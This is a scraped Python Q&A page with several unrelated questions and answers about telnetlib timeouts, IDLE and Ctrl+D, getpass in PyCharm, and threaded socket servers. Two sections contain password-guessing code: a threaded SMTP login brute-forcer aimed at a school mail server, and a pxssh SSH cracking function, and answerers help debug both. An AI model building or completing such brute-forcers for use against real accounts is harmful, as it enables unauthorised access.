Python not catching exceptions - python

I have this script:
#!/usr/bin/env python
#import needed modules
import telnetlib
import time
#define variables
HOST = "xxxxxx"
user = "xxxxxx"
password = "xxxxxx"
#open telnet connection
tn = telnetlib.Telnet(HOST, 10800)
time.sleep(2)
#check for initial screen and press enter to go to login
tn.read_until("Device")
tn.write("\r\n")
time.sleep(2)
#Wait for username prompt and enter user/pass
try:
tn.read_until("User Name:",5)
except:
#Timeout looking for Username prompt
print "CRITICAL: User Name prompt never arrived"
exit(2)
tn.write(user + "\r\n")
tn.read_until("Password :")
tn.write(password + "\r\n")
time.sleep(2)
#wait for logout prompt
try:
tn.read_until("7<Logout >",5)
except:
#Timeout looking for successful login
print "CRITICAL: Did not login successfully"
exit(2)
#Logout and close connection
tn.write("7\r")
tn.close()
#Exit with success
print "OK: Test login to MWA Succeeded"
exit(0)
No matter what I do, no exceptions are caught. I changed the read_until looking for "User Name:" to just some garbage characters and it still just gets to the end of the code. I'm hoping I'm just doing something very stupid and not an issue with telnetlib.
Thanks!

Per the docs:
Read until a given string, expected, is encountered or until timeout
seconds have passed.
When no match is found, return whatever is available instead, possibly
the empty string. Raise EOFError if the connection is closed and no
cooked data is available.
Check the return value in the try block, and if this value does not match your expectations, raise on your own to trigger the except case.

Related

Python3 Idle keeps closing with ctrl + D

So I've linked about 5 files together I think, and I've added a piece of code to all those files which SHOULD prevent the idle from closing. But when I reach the last file:
# modules
import smtplib
from email.message import EmailMessage
#from pynput.keyboard import Key, Listener
ans1 = input("Your gmail address: ")
ans0 = input("Your gmail password(Not shown): ")
ans = input("Name of game: ")
print("Enter/Paste your code. Ctrl-D to send it.")
contents = []
while True:
try:
line = input()
except EOFError:
break
contents.append(line)
# content
sender = ans1
reciever = "rockzombie005#gmail.com"
password = ans0
msg_body = "\n".join(contents)
# action
msg = EmailMessage()
msg['subject'] = ans
msg['from'] = sender
msg['to'] = reciever
msg.set_content(msg_body)
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
smtp.login(sender,password)
smtp.send_message(msg)
print("Program sent successfully!")
try:
input()
except EOFError:
pass
and as you can see:
try:
input()
except EOFError:
pass
that piece of code should prevent the idle from closing, and it works, but only if I run it separately. If I do ctrl + D when executed using a different file, the shell just closes or crashes without any prompt.
In the Linux command-line shell, pressing Ctrl+D logs out of the interface. If you used the sudo command to execute commands as another user, pressing Ctrl+D exits out of that other user and puts you back as the user you originally logged into.
You can disable eof generally in bash:
set -o ignoreeof
Alternatively, You can use the IGNOREEOF environment variable in bash. So export IGNOREEOF=42 and you'll have to press Ctrl+D forty-two times before it actually quits your shell.

getpass.getpass() function in Python not working?

Running on Windows 7 and using PyCharm 2016.2.3 if that matters at all.
Anyway, I'm trying to write a program that sends an email to recipients, but I want the console to prompt for a password to login.
I heard that getpass.getpass() can be used to hide the input.
Here is my code:
import smtplib
import getpass
import sys
print('Starting...')
SERVER = "localhost"
FROM = "my#email.com"
while True:
password = getpass.getpass()
try:
smtpObj = smtplib.SMTP(SERVER)
smtpObj.login(FROM, password)
break
except smtplib.SMTPAuthenticationError:
print("Wrong Username/Password.")
except ConnectionRefusedError:
print("Connection refused.")
sys.exit()
TO = ["your#email.com"]
SUBJECT = "Hello!"
TEXT = "msg text"
message = """\
From: %s
To: %s
Subject: %s
%s
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
smtpObj.sendmail(FROM, TO, message)
smtpObj.close()
print("Successfully sent email")
But when I run my code, here is the output:
Starting...
/Nothing else appears/
I know the default prompt for getpass() is 'Password:' but I get the same result even when I pass it a prompt string.
Any suggestions?
EDIT: The code continues to run indefinitely after it prints the string, but nothing else appears and no emails are sent.
For PyCharm 2018.3
Go to 'Edit Configurations' and then select 'Emulate terminal in output console'.
Answer provided by Abhyudaya Sharma
The problem you have is that you are launching it via PyCharm, which has it's own console (and is not the console used by getpass)
Running the code via a command prompt should work

Parallel compute task to brute-force in python

/* This is not for anything illegal just that my school only uses 7 integers, and I want to see if I can get this to work in time as currently I need 1.59 years to crack a password. The school has it's own private server on site for anyone concerned and it's easily detectable. I'll do this only to me or my friends with their permission .*/
I just wanted to use multi processing or concurrent.futures to make this password cracker run in reasonable time.
Here is my attempt at paralleling it
import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
print("Got to here3")
smtpserver.connect('private_email_server', 587)
smtpserver.ehlo()
smtpserver.starttls()
print("OK going to main")
main()
def main():
for password in passwfile.readlines():
password = password.strip()
print("Go to here1")
try:
print("WELL AT LEAST WE GOT HERE")
smtpserver.login('myemail#private_email.com', password)
a = password
with open('pass.txt','w') as bc:
bc.write(a)
print ("[+] Password cracked----> %s" % password)
input()
break
except smtplib.SMTPAuthenticationError:
print("[-] Wrong --> %s" % password)
pass
except:
print("Got to here2")
conn()
if __name__ == '__main__':
passwfile = open('per.txt', 'r')
smtpserver = smtplib.SMTP()
with ThreadPoolExecutor(max_workers=3) as exe:
exe.submit(conn)
This actually works only if the password is in the first line it, it only outputs the indicators i wrote on there like print ("Got to here3") It doesn't print the cracked password or even write it to a text file.
Have you tried
with ThreadPoolExecutor as exe:
exe.submit(conn)
It maybe that you aren't actually connected to the server

Error exception causing print to fail - python2

Here is a snippet from my code. For some reason it simply won't print out the second line saying "Cracking took 10 seconds" or whatever, but this first bit saying Password Found: does work... Why?
def connect(host, user, password, release):
global Found
global Fails
global startTime
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
print 'Cracking the password took' + datetime.now()-startTime + 'seconds.'
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
You are trying to concatenate two different things (datetime and str), try converting the datetime to str as:
def connect(host, user, password, release):
global Found
global Fails
global startTime
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
print 'Cracking the password took' + str(datetime.now()-startTime) + 'seconds.'
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
Moreover, you shouldn't trap all kind Exception, just those you need.
The issue is probably that you haven't set startTime, but you masked it by over-broad exception handling. Either remove the try/except, select some other exception to trap, or simply include a bare raise command in your exception handler and you should see a NameError because of the absence of initialization. Fix that and your code has more of a chance.

Client socket not receiving data correctly

I've tried looking about for an answer but I can't seem to find one that answers my specific problem.
Perhaps I don't know how to articulate the problem correctly.
I think I've pinpointed what it is, but the thing is I just don't know how to fix it.
EDIT: I was trying to use two clients on one TCP Socket. Can't do that. I'll have to think of another way. Solved, I guess.
So what I've got is are
1: Two Clients
2: One Server
The objective is this:
Have the server distribute new usernames to all the clients as they connect.
This is what happens when I run the program:
Server: Define Host, and Port, initialize it. Check
Client 1: Connects to the server. Check
Client 1: Once connected, sends a string to the server. Check
Server: Receives a string, checks if the string is in a list is created. If it is: Pass, if it's not, send to everyone the new string. Check
Client 1: [Now waiting to receive data] Recieves data, checks if the string received matches the one it sent. If it does, print("It's one of ours!"), else, make the new string = to Client 2 Username. Check
Client 2: Connects to server: Check
Server: [If it receives a string, prints it.] (Works) Checks if the new string is in the list. [It isn't] So It sends the new username to everyone, and then prints ("Sent to everyone") Check
But, when client 2 receives the string, it prints it. However, client 1 never recives the string.
And when running client one in IDLE, I noticed something went wrong as Client 1 tried to receive the data. (The while loop that the data = s.recv began looping real fast, instead of waiting)
I've asked around in chat, but it seems nobody's around right now. I've tried looking this up but I really can't find an answer. What I suspect is happening is that when my server sends to 'connection' the second time, it somehow overrides the original client connection.
Here's my server code:
from socket import *
import threading
import os
import csv
Username_List = []
host = input("Host: ")
port = input("Port: ")
ss = socket(AF_INET,SOCK_STREAM)
ss.bind((host,int(port)))
ss.listen(2)
while True:
try:
connection,address = ss.accept()
data = connection.recv(1024)
if data:
translated_data = data.decode()
print(translated_data)
if translated_data in Username_List:
pass
else:
Username_List.append(translated_data)
connection.sendall(translated_data.encode())
print("Sent new username to everyone")
except IOError:
connection.close()
print("An exception with a connected user occured")
break
And here is my client code: [The only difference between client 1 and 2 is I changed the username variable]
# Sample Username Client Service Handler.
from socket import *
import threading
import os
import csv
Username = ("Owatch")
host = input("Host: ")
port = input("Port: ")
try:
ss = socket(AF_INET,SOCK_STREAM)
ss.connect((host,int(port)))
except IOError:
print("Aw no man")
ss.send(Username.encode())
while True:
try:
print("Waiting to Recieve Data")
data = ss.recv(1024)
if data:
translated_data = data.decode()
print(translated_data)
if translated_data == Username:
print("It's one of ours!")
else:
Client_Username = translated_data
print (Client_Username)
except Exception as e:
print (vars(e))
If you could please help I'd be grateful.
If you know of an answer to my question that's already been asked, please tell me and I'll remove this post to avoid breaking rules. Thanks!
Right then I started with what you had then changed it till it worked what I've done is created a client class which starts a thread with each connection and adds it to a list of threads (please if I'm doing something horribly wrong smarter people correct me), the thread runs gets some data checks if that's in the list of user names if its not sends out a message to all the clients in the thread list with that name then the thread just chills out. Anyway on to the code.
SERVER!!!
import csv
class client(threading.Thread):
Username_List = []
def __init__(self, conn):
super(client, self).__init__()
self.conn = conn
def run(self):
print "Client thread started"
data = self.conn.recv(1024)
print "Received: {0}".format(data)
if data in client.Username_List:
self.send_msg("Welcome Back!")
else:
for cnt in threadz:
cnt.send_msg(data)
print("Sent new username to everyone")
client.Username_List.append(data)
while True:
# dont need nothing now
pass
def send_msg(self,msg):
self.conn.send(msg)
host = input("Host: ")
port = input("Port: ")
ss = socket() #AF_INET,SOCK_STREAM)
ss.bind((host,int(port)))
print "Server Opening on port: {0}".format(port)
ss.listen(2)
threadz = []
print "Begining Wait for connections"
while True:
try:
connection, address = ss.accept()
print "Got ONE!"
c = client(connection)
print "Recevied connection from:{0} On port:{1}".format(address[0],address[1])
c.start()
threadz.append(c)
print "Client appended to threadz, currently {0} threadz active".format(len(threadz))
except IOError,KeyboardInterrupt:
connection.close()
print("An exception with a connected user occured")
break
The CLIENT:
# Sample Username Client Service Handler.
from socket import *
import threading
import os
import csv
Username = ("ShyGuy")
host = input("Host: ")
port = input("Port: ")
try:
ss = socket() #AF_INET,SOCK_STREAM)
ss.connect((host,int(port))) #I was using ("localhost",1234) for testing
ss.send(Username)
except IOError:
print("Aw no man")
print("Waiting to Recieve Data")
while True:
try:
data = ss.recv(1024)
if data:
translated_data = data.decode()
print(translated_data)
if translated_data == Username:
print"Name: {0} has been registered on server!".format(translated_data)
else:
Client_Username = translated_data
print "New client name received: {0}".format(Client_Username)
except Exception as e:
print (vars(e))
That works on python 2.7 with two clients locally. Needs to use a semaphore to stop the threads printing at the same time as the main server loop prints: http://en.wikipedia.org/wiki/Semaphore_(programming)
This code does nothing graceful with client disconnects, but once you can work with the exceptions that a raised when that happens I'm sure you'll learn some more.

Categories

Resources